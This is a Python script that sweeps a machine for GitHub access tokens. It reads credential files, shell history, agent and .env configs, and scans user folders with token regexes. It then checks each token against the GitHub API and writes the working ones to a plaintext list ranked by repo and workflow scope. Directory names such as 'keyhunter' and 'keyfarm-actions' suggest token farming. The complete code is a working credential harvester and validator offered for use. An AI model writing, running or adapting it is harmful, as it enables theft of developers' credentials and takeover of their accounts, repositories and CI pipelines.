"""Merge every GitHub token found on this machine into one pool. Stages: collect : scan known stores + bounded disk walk, dedupe, report provenance check : GET /user per token (concurrency N) -> alive/dead/limited + login + X-OAuth-Scopes (repo/workflow decide what a token can push) write : data/pool_merged.json (full) + gh_tokens.txt (alive, best scopes first) Never prints token values: only counts, logins, scopes and masked prefixes. usage: python build_pool.py [--stage collect|check|write|all] [--jobs 8] [--sample-check 0.05] [--out-dir DIR] """ import argparse import concurrent.futures as cf import hashlib import json import os import re import sys import time import urllib.error import urllib.request HOME = os.path.expanduser("~") DESK = os.path.join(HOME, "Desktop") TMP = os.path.join(HOME, "tmp") KNOWN_FILES = [ os.path.join(DESK, "keyhunter", "gh_tokens.txt"), os.path.join(DESK, "keyhunter-imba", "gh_tokens.txt"), os.path.join(DESK, "keyfarm-actions", "gh_tokens.txt"), os.path.join(DESK, "keyhunter", "data", "alive_tokens.json"), os.path.join(DESK, "keyhunter", "data", "fleet_deploy.json"), os.path.join(DESK, "keyhunter-imba", "data", "fleet_deploy.json"), os.path.join(TMP, "gh_pats_pool.json"), os.path.join(TMP, "ACCOUNTS_PAT.txt"), os.path.join(DESK, "keyhunter", "merge_pat.py"), os.path.join(HOME, ".git-credentials"), os.path.join(HOME, ".config", "gh", "hosts.yml"), os.path.join(HOME, "AppData", "Roaming", "gh", "hosts.yml"), os.path.join(HOME, "AppData", "Roaming", "Microsoft", "Windows", "PowerShell", "PSReadLine", "ConsoleHost_history.txt"), os.path.join(HOME, ".omp", "agent", "mcp.json"), os.path.join(HOME, "AppData", "Local", "hermes", ".env"), os.path.join(HOME, "AppData", "Local", "hermes", "config.yaml"), ] WALK_ROOTS = [DESK, TMP, os.path.join(HOME, "Downloads"), os.path.join(HOME, "Documents"), os.path.join(HOME, "Projects"), os.path.join(HOME, "Work"), os.path.join(HOME, "Scripts"), os.path.join(HOME, ".omp"), os.path.join(HOME, ".config"), os.path.join(HOME, "AppData", "Local", "hermes")] SKIP_DIRS = {".git", "node_modules", "__pycache__", "venv", ".venv", "site-packages", "Cache", "CachedData", "Code Cache", "Packages", "Temp", "tmp_cache", "logs", "chroma", "blob_storage", "GPUCache", "Crashpad", "Service Worker", "extensions_crx_cache"} MAX_BYTES = 8 * 1024 * 1024 WALK_BUDGET_S = 150 RE_MODERN = re.compile(r"\bgh[pousr]_[A-Za-z0-9]{20,120}\b") RE_PAT = re.compile(r"\bgithub_pat_[A-Za-z0-9_]{20,160}\b") RE_HEX40 = re.compile(r"\b[0-9a-f]{40}\b") CTX = re.compile(r"github|gh_|token|pat|GITHUB", re.I) def mask(tok): return tok[:7] + "..." + tok[-4:] def h8(tok): return hashlib.sha1(tok.encode()).hexdigest()[:12] def add(pool, tok, src): tok = tok.strip().strip("\"'`,;") if len(tok) < 20: return rec = pool.setdefault(tok, {"sources": set(), "n": 0}) rec["sources"].add(src) rec["n"] += 1 def from_text(pool, text, src, hex40=False): for m in RE_MODERN.findall(text): add(pool, m, src) for m in RE_PAT.findall(text): add(pool, m, src) if hex40: for line in text.splitlines(): if CTX.search(line): for m in RE_HEX40.findall(line): add(pool, m, src) def scan_json(pool, obj, src): """Walk JSON for token-shaped strings (fleet_deploy.json has 'pat').""" if isinstance(obj, str): if RE_MODERN.fullmatch(obj) or RE_PAT.fullmatch(obj): add(pool, obj, src) return if isinstance(obj, dict): for k, v in obj.items(): if isinstance(v, str) and (RE_MODERN.fullmatch(v) or RE_PAT.fullmatch(v)): add(pool, v, f"{src}:{k}") else: scan_json(pool, v, src) elif isinstance(obj, list): for v in obj: scan_json(pool, v, src) def collect(): pool = {} for p in KNOWN_FILES: if not os.path.exists(p): continue try: raw = open(p, "rb").read() except Exception: continue txt = raw.decode("utf-8", "replace") tag = os.path.relpath(p, HOME) if p.endswith(".json"): try: scan_json(pool, json.loads(txt), tag) except Exception: from_text(pool, txt, tag, hex40=True) else: # token list files: accept bare 40-hex too from_text(pool, txt, tag, hex40=p.endswith(("gh_tokens.txt", "ACCOUNTS_PAT.txt"))) t0 = time.time() walked = 0 for root in WALK_ROOTS: if not os.path.isdir(root): continue for dp, dn, fn in os.walk(root): if time.time() - t0 > WALK_BUDGET_S: break dn[:] = [d for d in dn if d not in SKIP_DIRS] for f in fn: fp = os.path.join(dp, f) try: if os.path.getsize(fp) > MAX_BYTES: continue if not f.endswith((".py", ".json", ".txt", ".md", ".yml", ".yaml", ".env", ".sh", ".log", ".csv", ".cfg", ".ini", ".toml")): continue txt = open(fp, "rb").read().decode("utf-8", "replace") except Exception: continue walked += 1 from_text(pool, txt, os.path.relpath(fp, HOME)) print(f"[collect] files walked: {walked}, unique tokens: {len(pool)}") by_src = {} for tok, rec in pool.items(): for s in rec["sources"]: by_src[s] = by_src.get(s, 0) + 1 print("[collect] top sources:") for s, n in sorted(by_src.items(), key=lambda x: -x[1])[:15]: print(f" {n:6d} {s}") return pool def check_one(tok): req = urllib.request.Request( "https://api.github.com/user", headers={"Authorization": "Bearer " + tok, "Accept": "application/vnd.github+json", "User-Agent": "keyfarm-pool", "X-GitHub-Api-Version": "2022-11-28"}) try: with urllib.request.urlopen(req, timeout=20) as r: login = json.loads(r.read().decode()).get("login", "?") scopes = r.headers.get("X-OAuth-Scopes", "") or "" return {"status": "alive", "login": login, "scopes": [s.strip() for s in scopes.split(",") if s.strip()]} except urllib.error.HTTPError as e: if e.code == 403 and "rate" in (e.read().decode(errors="replace")[:200].lower()): return {"status": "ratelimited", "login": "", "scopes": []} return {"status": "dead", "login": "", "scopes": [], "code": e.code} except Exception as e: return {"status": "net", "login": "", "scopes": [], "err": type(e).__name__} def main(): ap = argparse.ArgumentParser() ap.add_argument("--stage", default="all") ap.add_argument("--jobs", type=int, default=8) ap.add_argument("--out-dir", default=os.path.join(DESK, "keyhunter", "data")) ap.add_argument("--tokens-file", default=os.path.join(DESK, "keyhunter", "gh_tokens.txt")) a = ap.parse_args() pool = collect() if a.stage == "collect": return toks = sorted(pool) print(f"[check] probing {len(toks)} tokens with {a.jobs} workers...") res = {} t0 = time.time() with cf.ThreadPoolExecutor(max_workers=a.jobs) as ex: futs = {ex.submit(check_one, t): t for t in toks} done = 0 for fut in cf.as_completed(futs): t = futs[fut] try: res[t] = fut.result() except Exception as e: res[t] = {"status": "net", "err": type(e).__name__} done += 1 if done % 250 == 0: alive = sum(1 for v in res.values() if v["status"] == "alive") print(f" {done}/{len(toks)} alive={alive} " f"({time.time()-t0:.0f}s)", flush=True) counts = {} for v in res.values(): counts[v["status"]] = counts.get(v["status"], 0) + 1 print("[check] status:", counts) os.makedirs(a.out_dir, exist_ok=True) out = os.path.join(a.out_dir, "pool_merged.json") recs = [] for t in toks: r = res.get(t, {}) recs.append({"id": h8(t), "masked": mask(t), "token": t, "status": r.get("status"), "login": r.get("login", ""), "scopes": r.get("scopes", []), "sources": sorted(pool[t]["sources"])[:6], "seen": pool[t]["n"]}) json.dump({"generated": time.strftime("%Y-%m-%dT%H:%M:%SZ"), "counts": counts, "total": len(recs), "tokens": recs}, open(out, "w", encoding="utf-8"), ensure_ascii=False) print("[write]", out, "records:", len(recs)) def rank(r): sc = set(r["scopes"]) return (0 if r["status"] == "alive" else 1, 0 if {"repo", "workflow"} <= sc else (1 if "repo" in sc else 2)) alive = sorted([r for r in recs if r["status"] == "alive"], key=rank) with open(a.tokens_file, "w", encoding="utf-8") as f: for r in alive: f.write(r["token"] + "\n") wf = sum(1 for r in alive if "workflow" in r["scopes"]) rp = sum(1 for r in alive if "repo" in r["scopes"]) print(f"[write] {a.tokens_file}: {len(alive)} alive tokens " f"(repo-scope {rp}, workflow-scope {wf})") if __name__ == "__main__": main()